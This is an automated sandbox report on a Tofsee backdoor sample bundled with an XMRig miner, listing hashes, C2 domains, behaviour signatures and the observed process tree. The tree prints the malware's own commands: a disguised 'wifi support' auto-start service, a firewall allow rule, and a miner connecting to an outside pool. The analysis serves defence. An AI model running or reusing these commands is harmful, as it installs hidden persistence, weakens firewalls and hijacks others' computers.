Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 15:12

General

  • Target

    d86ce8ccd4e2f08db83b4ec86ae6fc2064b56617b2ae530bc91c4052d80d79bd.exe

  • Size

    280KB

  • MD5

    4c0ea766334e3c15f8bf02c71be4a7a9

  • SHA1

    8634d91055ec293c5ddc97def838fb27d3408d3f

  • SHA256

    d86ce8ccd4e2f08db83b4ec86ae6fc2064b56617b2ae530bc91c4052d80d79bd

  • SHA512

    8e24a4955e5b5a454d6f4b5088172e4afc256f29c02b626bb518232715b2a79622efb6945cf2f3851fd88b65c5ead0216c7557343613ff07c4b279f35fbd804d

  • SSDEEP

    3072:NG7XEX+rJd90xL0E1jH57j9rRz54GRIoEQSUedtH9ohhJ/2m4FwCpjKpEAHQLj/F:NwU6dGLnjH5X9rRjWQDed7InEmQLr

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d86ce8ccd4e2f08db83b4ec86ae6fc2064b56617b2ae530bc91c4052d80d79bd.exe
    "C:\Users\Admin\AppData\Local\Temp\d86ce8ccd4e2f08db83b4ec86ae6fc2064b56617b2ae530bc91c4052d80d79bd.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dwanvfct\
      2⤵
        PID:3768
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rtwhcwlm.exe" C:\Windows\SysWOW64\dwanvfct\
        2⤵
          PID:4372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dwanvfct binPath= "C:\Windows\SysWOW64\dwanvfct\rtwhcwlm.exe /d\"C:\Users\Admin\AppData\Local\Temp\d86ce8ccd4e2f08db83b4ec86ae6fc2064b56617b2ae530bc91c4052d80d79bd.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2200
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dwanvfct "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dwanvfct
          2⤵
          • Launches sc.exe
          PID:4408
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4420
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 1044
          2⤵
          • Program crash
          PID:4328
      • C:\Windows\SysWOW64\dwanvfct\rtwhcwlm.exe
        C:\Windows\SysWOW64\dwanvfct\rtwhcwlm.exe /d"C:\Users\Admin\AppData\Local\Temp\d86ce8ccd4e2f08db83b4ec86ae6fc2064b56617b2ae530bc91c4052d80d79bd.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2540
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3748
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1952
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2540 -s 540
          2⤵
          • Program crash
          PID:3728
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3228 -ip 3228
        1⤵
          PID:5032
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2540 -ip 2540
          1⤵
            PID:3680

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\rtwhcwlm.exe

            Filesize

            11.7MB

            MD5

            9543d669f367aea6d3402196999dfaa7

            SHA1

            1de5d52b0e4f96721fd1438ff11d0f27674d1a55

            SHA256

            44ac811984628757738cb0abcc397d9d1bd962c7d418e21369db2a10f4b35010

            SHA512

            836c7a694515b6d4da317eb3069756540fdcf880180f8a52f7fd083ff74eb2f081642b68f6eb5d5a63c057f0308901d09300c155eb3214eaf6a7fe0015b03ef2

          • C:\Windows\SysWOW64\dwanvfct\rtwhcwlm.exe

            Filesize

            11.7MB

            MD5

            9543d669f367aea6d3402196999dfaa7

            SHA1

            1de5d52b0e4f96721fd1438ff11d0f27674d1a55

            SHA256

            44ac811984628757738cb0abcc397d9d1bd962c7d418e21369db2a10f4b35010

            SHA512

            836c7a694515b6d4da317eb3069756540fdcf880180f8a52f7fd083ff74eb2f081642b68f6eb5d5a63c057f0308901d09300c155eb3214eaf6a7fe0015b03ef2

          • memory/1952-177-0x0000000000910000-0x0000000000A01000-memory.dmp

            Filesize

            964KB

          • memory/1952-172-0x0000000000910000-0x0000000000A01000-memory.dmp

            Filesize

            964KB

          • memory/2540-149-0x0000000002DC9000-0x0000000002DD9000-memory.dmp

            Filesize

            64KB

          • memory/2540-150-0x0000000000400000-0x0000000002BAD000-memory.dmp

            Filesize

            39.7MB

          • memory/3228-135-0x0000000000400000-0x0000000002BAD000-memory.dmp

            Filesize

            39.7MB

          • memory/3228-132-0x0000000002FAD000-0x0000000002FBE000-memory.dmp

            Filesize

            68KB

          • memory/3228-133-0x0000000002F00000-0x0000000002F13000-memory.dmp

            Filesize

            76KB

          • memory/3228-143-0x0000000002FAD000-0x0000000002FBE000-memory.dmp

            Filesize

            68KB

          • memory/3228-144-0x0000000000400000-0x0000000002BAD000-memory.dmp

            Filesize

            39.7MB

          • memory/3748-159-0x0000000001B80000-0x0000000001B90000-memory.dmp

            Filesize

            64KB

          • memory/3748-156-0x0000000001B70000-0x0000000001B76000-memory.dmp

            Filesize

            24KB

          • memory/3748-168-0x0000000001BE0000-0x0000000001BE7000-memory.dmp

            Filesize

            28KB

          • memory/3748-151-0x0000000000820000-0x0000000000835000-memory.dmp

            Filesize

            84KB

          • memory/3748-152-0x0000000000820000-0x0000000000835000-memory.dmp

            Filesize

            84KB

          • memory/3748-153-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/3748-146-0x0000000000820000-0x0000000000835000-memory.dmp

            Filesize

            84KB

          • memory/3748-165-0x0000000007400000-0x000000000780B000-memory.dmp

            Filesize

            4.0MB

          • memory/3748-162-0x0000000001BD0000-0x0000000001BD5000-memory.dmp

            Filesize

            20KB